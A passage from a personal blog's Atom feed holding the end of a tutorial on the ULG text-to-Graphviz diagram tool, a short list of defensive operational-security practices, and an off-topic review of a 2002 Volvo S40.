Maybe you don&#39;t want two boxes. Perhaps you want one of them to be oval. That&#39;s easy too:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;(internet) ==&amp;gt; [web dmz]&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
That would give you:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5ivbBTj3hmohtUVT03l5h1_pHUUBgDqWDXONJJsEPnmseC8YkD3cFhhNUZin_3nStLAw0RfNmfoSA9HctMHuMNLWrG0tU-eYupLT_3jyQtYbkQ9IOYOJjXsBMakxqSp7cO-Pqjht6fYc/s1600/node_shapes.ulg.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5ivbBTj3hmohtUVT03l5h1_pHUUBgDqWDXONJJsEPnmseC8YkD3cFhhNUZin_3nStLAw0RfNmfoSA9HctMHuMNLWrG0tU-eYupLT_3jyQtYbkQ9IOYOJjXsBMakxqSp7cO-Pqjht6fYc/s1600/node_shapes.ulg.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Notice also how we&#39;ve also explicitly marked &quot;web dmz&quot; as a box.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Edge label&lt;/h3&gt;
&lt;br /&gt;
You&#39;ve probably noticed that the arrow, or edge in graph-speak, doesn&#39;t have a label. We can give it one by just inserting some text somewhere inside the arrow:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;(internet) ==http==&amp;gt; [web dmz]&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
This would give us:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinJvP7fnh0ljU3MlSJWhNtJdx-3L5x7gA4coXxDubg3vS-C6Nzu4A5lrbUkkzLLdgrV5lwaZCZeWBTZOoC36Fj30erP92Tidg4HoTxoOLl4wqWWRKZgGw-Nb7KwB3fG-Ul3cZZLnw3nmM/s1600/edge_label.ulg.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinJvP7fnh0ljU3MlSJWhNtJdx-3L5x7gA4coXxDubg3vS-C6Nzu4A5lrbUkkzLLdgrV5lwaZCZeWBTZOoC36Fj30erP92Tidg4HoTxoOLl4wqWWRKZgGw-Nb7KwB3fG-Ul3cZZLnw3nmM/s1600/edge_label.ulg.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;h3&gt;
Arrows&lt;/h3&gt;
&lt;br /&gt;
You can also control the shape of the arrow head, for example:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;(internet) ==http==&amp;lt;&amp;gt; [web dmz]&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Gives us:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgU5Q4J5E7Wqlgy5Ukcnlei7gdY2b4dzls-L-ZqWginsjO2FQtuOhMmEFkDBFbQcIIJWPjkF5ENRwazjls35sWmw8nabKPtA9AlKNezswyF3tOjdbB5aLkEvtACjx20xkTBYQyaT3FTZ4g/s1600/arrow.ulg.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgU5Q4J5E7Wqlgy5Ukcnlei7gdY2b4dzls-L-ZqWginsjO2FQtuOhMmEFkDBFbQcIIJWPjkF5ENRwazjls35sWmw8nabKPtA9AlKNezswyF3tOjdbB5aLkEvtACjx20xkTBYQyaT3FTZ4g/s1600/arrow.ulg.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;h3&gt;
Edge line&lt;/h3&gt;
&lt;br /&gt;
Of course, you might like your lines to be dashed instead of solid. No problem:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;(internet) --http--&amp;gt; [web dmz]&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Here we go:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgu1L6-VRHgmU-Vie657Knc9c2gpPIGrsTtU7Tfs0kRi1jiOeeQ0EXgshhb6qDGzJzRIS7Yj8TsvawGyaN5KkByQNAfcRYQGvDW5fT0LJZkg-4KBVLhKtM_hIfwOI0QAXUlV25IxoKwM20/s1600/lines.ulg.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgu1L6-VRHgmU-Vie657Knc9c2gpPIGrsTtU7Tfs0kRi1jiOeeQ0EXgshhb6qDGzJzRIS7Yj8TsvawGyaN5KkByQNAfcRYQGvDW5fT0LJZkg-4KBVLhKtM_hIfwOI0QAXUlV25IxoKwM20/s1600/lines.ulg.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;h3&gt;
Interesting example&lt;/h3&gt;
&lt;br /&gt;
Now, lets make things a little bit more interesting. I&#39;ll show you the text and image first, then I&#39;ll explain a few things afterwards:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;option layout dot&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;option overlap false&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;option splines true&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;include backoffice.ulg&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;Internet &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;==http==&amp;gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; (web dmz|orange)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;web dmz &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ==8080==&amp;gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; [app stack 1|blue]&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;web dmz &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ==8000==&amp;gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; [app stack 2|purple]&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;app stack 1 &amp;nbsp; &amp;nbsp; ==25==&amp;gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; internet&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;app stack 2 &amp;nbsp; &amp;nbsp; ==5432|red==&amp;gt; &amp;nbsp; [database|green]&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Where backoffice.ulg is&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;(back office) ==5432|red==&amp;gt; database&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;(back office) ==80==&amp;gt; (internet|red)&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
This would result in this rather pretty graph:&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfywCdBUGgqlRlwYKKHQa6l0h_Md1cfrfdsHiUs7oQai_FxN5GHb6WyMc74H4GJsFHTAXz7rbxwl2w4EjPIog5lM1LeOapfWuEOgRqNdtULMw0kIHKVDIN-HOiSX3OlJZjd2gymKkcRuA/s1600/interesting.ulg.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfywCdBUGgqlRlwYKKHQa6l0h_Md1cfrfdsHiUs7oQai_FxN5GHb6WyMc74H4GJsFHTAXz7rbxwl2w4EjPIog5lM1LeOapfWuEOgRqNdtULMw0kIHKVDIN-HOiSX3OlJZjd2gymKkcRuA/s400/interesting.ulg.png&quot; width=&quot;268&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Quite a few things have happened here. Looking at the text, you will have noticed three lines starting with the word &quot;option&quot;. These are basically just option names and values that get passed directly to Graphviz as global options.&lt;br /&gt;
&lt;br /&gt;
We also include a ULG file called &quot;backoffice.ulg&quot;, the contents of which is shown afterwards. You&#39;ll see that backoffice defines an &quot;internet&quot; node and the main text refers to an &quot;Internet&quot; and an &quot;internet&quot; node and that the graph only shows one &quot;internet&quot; node. This is because ULG ignores case and spaces when determining what the node is. So &quot;Internet&quot;, &quot;internet&quot; and &quot;inter net&quot; would all be the same thing. This allows you to be a little be messy and&amp;nbsp;inconsistent&amp;nbsp;with your typing ;)&lt;br /&gt;
&lt;br /&gt;
The &quot;internet&quot; node was labelled &quot;internet&quot; and not &quot;Internet&quot;. This is because ULG defines styles based on the first occurrence&amp;nbsp;of the node or edge. Because we included backoffice.ulg first, it defined the style for the internet node. This also means that once we have defined a node, such as the &quot;(web dmz|orange)&quot; we ignore any style characters and simply use the label. The next two occurrences were referred to as just &quot;web dmz&quot;.&lt;br /&gt;
&lt;br /&gt;
Another thing you will have noticed is the use of colour. This is achieved by simply adding &quot;|colour&quot; to the node or edge label. Any colours Graphviz understands should be fine.&lt;br /&gt;
&lt;br /&gt;
Its probably also worth mentioning at this point that ULG doesn&#39;t care about whitespace between nodes and arrows, so you can use spaces or tabs - whatever is easiest to read. It does however require that an arrow is made up of at least two line characters (such as == or --)&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Other things you can do&lt;/h3&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
Finally, this example shows the different combinations of supported node and arrow styles.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;# This line is ignored&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;# Include a file&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;include common-opts.ulg&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;# An option&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;option rankdir TB&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;# Graph&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;[box] &amp;nbsp; = normal ==&amp;gt; &amp;nbsp; &amp;nbsp;(oval|blue)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;oval &amp;nbsp; &amp;nbsp;=dot|red=o&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&amp;lt;diamond&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;oval &amp;nbsp; &amp;nbsp;..box....x &amp;nbsp; &amp;nbsp; &amp;nbsp;box&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;box &amp;nbsp; &amp;nbsp; --diamond--&amp;lt;&amp;gt; &amp;nbsp; diamond&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;another box &amp;nbsp; &amp;nbsp; === no arrow == &amp;nbsp; &amp;nbsp; {hexagon}&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
This gives us:&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLSXvA4cRkVqMAob0TRMAv4eCEKGyfLLqeF_MJt6Z3-TEkAMz-e1BCHT_tKGdHa8KkOofjELM1xSjPJwnMidwgO_dbNydC5pTexuPOuhNiDyGOO_nCGGBinf1A5wrgfr3kImyimI3A8jE/s1600/help.ulg.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;236&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLSXvA4cRkVqMAob0TRMAv4eCEKGyfLLqeF_MJt6Z3-TEkAMz-e1BCHT_tKGdHa8KkOofjELM1xSjPJwnMidwgO_dbNydC5pTexuPOuhNiDyGOO_nCGGBinf1A5wrgfr3kImyimI3A8jE/s320/help.ulg.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Hopefully this example speaks for itself.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;h3&gt;
Download&lt;/h3&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;GitHub:&amp;nbsp;&lt;a href=&quot;https://github.com/zeroXten/ulg&quot;&gt;https://github.com/zeroXten/ulg&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Gem:&amp;nbsp;&lt;a href=&quot;https://rubygems.org/gems/ulg&quot;&gt;https://rubygems.org/gems/ulg&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
See also&lt;/h3&gt;
&lt;a href=&quot;http://www.graphviz.org/Documentation.php&quot;&gt;http://www.graphviz.org/Documentation.php&lt;/a&gt;&amp;nbsp;for Graphviz Documentation.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroxten.blogspot.com/feeds/4961562569330087047/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://zeroxten.blogspot.com/2013/03/ultra-light-graphs-ulg.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/4961562569330087047'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/4961562569330087047'/><link rel='alternate' type='text/html' href='http://zeroxten.blogspot.com/2013/03/ultra-light-graphs-ulg.html' title='Ultra Light Graphs (ULG)'/><author><name>zeroXten</name><uri>http://www.blogger.com/profile/09001210975833891703</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR0MpVxiVYfS_GGZLxy9IErREs0hK77CIRIWpD34V2k8gDg19LXzJYU4W8cOuhofKb2epSesE4v5ZOdKMpq6QGVQA9HZGqoftpOCLqFRxiZzqtPAKvGmuxvls_6G9uVT1_vDmFH9v7Yfg/s72-c/basic.ulg.png" height="72" width="72"/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2565872683381073040.post-7310310972498434605</id><published>2013-03-11T21:53:00.000+00:00</published><updated>2013-03-13T20:46:07.077+00:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="hackinig"/><category scheme="http://www.blogger.com/atom/ns#" term="information security"/><category scheme="http://www.blogger.com/atom/ns#" term="opsec"/><category scheme="http://www.blogger.com/atom/ns#" term="security"/><title type='text'>OpSec Basics</title><content type='html'>This is a simple little list of OpSec ideas that should be followed in most situations. Nothing&amp;nbsp;ground breaking, just a gentle reminder :)&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Take regular backups&lt;/h3&gt;
&lt;br /&gt;
Regularly backup systems and data using a combination of incremental and full backups.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;
Encrypt transmitted data whenever possible&lt;/h3&gt;
&lt;br /&gt;
Even on local networks. You may have&amp;nbsp;perimeter&amp;nbsp;firewalls and a switched network, but you have to assume someone is listening.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Minimize software to minimize vulnerability&lt;/h3&gt;
&lt;br /&gt;
Reduce the attack surface for remote access and local privilege escalation by only having essential software installed and services running.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Run different network services on separate systems&lt;/h3&gt;
&lt;br /&gt;
Not only does this simplify diagnosing operational issues, but means a compromise of one service doesn&#39;t directly affect other services. It also reduces the possibility of another service being used in the next stage of an attack.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Least privilege&lt;/h3&gt;
&lt;br /&gt;
This should apply at all levels, from system accounts to application logins. Don&#39;t use shared credentials and use systems that have granular enough permissions. Someone might not want to do something malicious, but if their system has been compromised the attacker might.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Patch your sh!#&lt;/h3&gt;
&lt;br /&gt;
Unpatched software is a liability. Every unpatched system is low-hanging fruit for an attacker.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Be informed&lt;/h3&gt;
&lt;br /&gt;
You should have a clear insight into the standard operational and opsec behaviour of your environment. This means having good operational monitoring and metrics, security systems such as HIDS and NIDS and a hardened centralized log collector for system logs and SIEM. Once you have that, take the time to review logs, events and set up alerts if possible.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Segment your network&lt;/h3&gt;
&lt;br /&gt;
Compromise is&amp;nbsp;inevitable&amp;nbsp; so the trick is to limit damage once it happens. Network segmentation stops the attack from moving around freely and thus adds complexity and delay to the next stages of their attack.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Use good crypto and don&#39;t roll your own&lt;/h3&gt;
&lt;br /&gt;
This applies to everything from choosing a password, to storing passwords and encrypting backups. Don&#39;t rely on home-made encryption or obfuscation tricks.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Have a response&lt;/h3&gt;
&lt;br /&gt;
It is a question of when you get hacked, not if. You should have an incident response plan well in advance of anything happening. Basics should include how to limit damage, how to collect information for forensics or the authorities and details of who to contact.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Default configuration&lt;/h3&gt;
When you buy a new piece of kit, build a new system or install an application, or should remember to check and adjust any default configuration. Most things try to be easy, not secure, so leaving in default configuration can be dangerous. Default users are a classic example, but other more subtle configuration might give too much information away or might be permissive in terms of access or actions.&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
Sources:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.nsa.gov/ia/_files/os/redhat/rhel5-guide-i731.pdf&quot;&gt;http://www.nsa.gov/ia/_files/os/redhat/rhel5-guide-i731.pdf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Common sense&lt;/li&gt;
&lt;/ul&gt;
</content><link rel='replies' type='application/atom+xml' href='http://zeroxten.blogspot.com/feeds/7310310972498434605/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://zeroxten.blogspot.com/2013/03/opsec-basics.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/7310310972498434605'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/7310310972498434605'/><link rel='alternate' type='text/html' href='http://zeroxten.blogspot.com/2013/03/opsec-basics.html' title='OpSec Basics'/><author><name>zeroXten</name><uri>http://www.blogger.com/profile/09001210975833891703</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2565872683381073040.post-754743827336142871</id><published>2012-09-22T14:17:00.003+01:00</published><updated>2013-01-04T21:49:19.708+00:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="car"/><category scheme="http://www.blogger.com/atom/ns#" term="off topic"/><category scheme="http://www.blogger.com/atom/ns#" term="volvo"/><title type='text'>What I like about my 2002 Volvo S40 SE 2.0 Auto</title><content type='html'>&lt;br /&gt;
Ok, so, for a completely off-topic post about a car. I bought a 2002 Volvo S40 SE 2.0 Automatic a few weeks ago for family day trips etc and not commuting. So I wanted something cheap, comfortable and safe. This car seems to pretty much fit exactly, so much so that I thought I&#39;d share some of the things I like about it. Perhaps you are in a similar situation and are considering buying a second-hand Volvo.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhq_IHMDGMVGDcXJXcbHRqq2j0vrUjzjJKMvrFOd_Ph-ES_V_xpWK8jXK81Du3OF44yZYM34oidEHKs-ToPxUiOzgUJ0CVjhT_wqbhOq81F_jYWV2KdMuByYdVFlQcj4_74FToSBPMuwpY/s1600/side.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhq_IHMDGMVGDcXJXcbHRqq2j0vrUjzjJKMvrFOd_Ph-ES_V_xpWK8jXK81Du3OF44yZYM34oidEHKs-ToPxUiOzgUJ0CVjhT_wqbhOq81F_jYWV2KdMuByYdVFlQcj4_74FToSBPMuwpY/s320/side.jpg&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Comfort&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
For long day trips or weekends away this is quite important. Bouncing down the motorway in a old Fiesta isn&#39;t exactly comfortable. So, what does my car give me?&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Climate control - Not just aircon, but proper climate control. Set it to AUTO, choose a temp and voila.&lt;/li&gt;
&lt;li&gt;Automatic - Not to everyone&#39;s taste, but I&#39;m kinda liking it. Makes traffic jams bearable.&lt;/li&gt;
&lt;li&gt;Cruise control - Haven&#39;t used it yet, but nice idea for those long motorway journeys.&lt;/li&gt;
&lt;li&gt;Heated front seats - Still too warm for them, but I think they&#39;ll come in handy in the winter :)&lt;/li&gt;
&lt;li&gt;Adjustable dashboard light brightness - Nice little touch.&lt;/li&gt;
&lt;li&gt;CD and tape player - CD player is a requirement, and the tape player is even handy for playing mp3s or Spotify from my phone.&lt;/li&gt;
&lt;li&gt;2.0 Engine - Car is pretty responsive.&lt;/li&gt;
&lt;li&gt;Heated door mirrors - Again, too warm to have used them yet, but will come in handy later.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;b&gt;Safety&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The most important thing as a family man is of course safety.&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Side markers - Little orange lights on the sides of the car at the front and back to help visibility of the car from the side. Required in North America but not in Europe, I didn&#39;t see a single other car last night with them whilst walking in town.&lt;/li&gt;
&lt;li&gt;Headlight wipers - Not only do they look kinda cool, but sort of handy.&lt;/li&gt;
&lt;li&gt;Driver and passenger airbags - The basics.&lt;/li&gt;
&lt;li&gt;Side impact&amp;nbsp;cushions - A nice extra little touch, adding to safety.&lt;/li&gt;
&lt;li&gt;4 star Euro NCAP rating - &quot;&lt;span style=&quot;background-color: white; color: #444444; font-family: Verdana, Arial; font-size: 11px;&quot;&gt;The S40 was awarded four stars for protection in frontal and side impacts, the only one of 13 family cars tested to achieve this result&lt;/span&gt;&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;b&gt;Family Friendly&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The idea was to get a car that was big enough for day trips without being too big for the terrible on road parking where I live.&lt;br /&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;Parking voucher clip - Silly, but very cool. A little clip on the right of the windscreen to place parking vouchers etc. Handy, really handy and a nice little touch.&lt;/li&gt;
&lt;li&gt;Boot size - 415 litres, big enough to put the pram base in without taking off the wheels.&lt;/li&gt;
&lt;li&gt;Lots of random storage - Little storage spaces throughout the car.&lt;/li&gt;
&lt;li&gt;Cup holders in central arm rest - Another nice little touch.&lt;/li&gt;
&lt;li&gt;Full electric windows with driver-side control - All four door windows are electric.&lt;/li&gt;
&lt;li&gt;Leather seats - Easy to clean and spill friendly, perfect for kids in the back.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Finally, and not in any particular category, awesome advice from the excellent community at&amp;nbsp;&lt;a href=&quot;http://www.volvoforums.org.uk/index.php&quot;&gt;volvoforums.org.uk&lt;/a&gt;.&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://zeroxten.blogspot.com/feeds/754743827336142871/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://zeroxten.blogspot.com/2012/09/what-i-like-about-my-2002-volvo-s40-se.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/754743827336142871'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/754743827336142871'/><link rel='alternate' type='text/html' href='http://zeroxten.blogspot.com/2012/09/what-i-like-about-my-2002-volvo-s40-se.html' title='What I like about my 2002 Volvo S40 SE 2.0 Auto'/><author><name>zeroXten</name><uri>http://www.blogger.com/profile/09001210975833891703</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" 